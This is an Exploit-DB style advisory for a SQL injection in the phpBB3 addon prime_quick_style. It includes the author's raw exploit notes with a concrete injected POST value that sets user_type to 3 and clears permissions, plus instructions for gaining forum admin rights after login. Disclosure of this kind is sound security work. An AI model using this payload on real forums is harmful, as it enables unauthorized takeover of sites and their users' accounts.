phpBB3 addon prime_quick_style GetAdmin Exploit

vendor:

phpBB3 addon prime_quick_style

by:

-SmoG-

7,5

CVSS

HIGH

Injection

CWE

Product Name: phpBB3 addon prime_quick_style

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

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2009

phpBB3 addon prime_quick_style GetAdmin Exploit

The vulnerability is found in the phpBB3 addon prime_quick_style. The POST parameter 'prime_quick_style' is injectable. After login, the user can manipulate the content from the 'prime_quick_style'-parameter. This will result in an update query to the USER_TABLE with the user_type set to 3 and user_permissions set to '', granting the user admin privileges.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in an update query.

Source

Exploit-DB raw data:

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#	phpBB3 addon prime_quick_style GetAdmin Exploit
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#	Vulnerability found and exploited by -SmoG-
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#	target file: prime_quick_style.php
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#   vuln: POST parameter "prime_quick_style" is injectable.
#   source: http://www.phpbb.com/community/viewtopic.php?f=70&t=692625
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#	HowTo: after login, go to "./ucp.php" and manipulate the content from the "prime_quick_style"-parameter.
#	example: prime_quick_style = "5,user_type = 3, user_permissions = ''"
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#	query will be look like this: "UPDATE USER_TABLE SET user_style = ANY_STYLE(integer), user_type = 3, user_permissions = '' WHERE user_id = YourId"
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#	gratz, now u will be an admin  :) 
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#	--- greetz to Pronoobz.org --- AbiDez, ChinaSun and ~dp~ || Thanks you a lot! ---
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#														-( by -SmoG- )-
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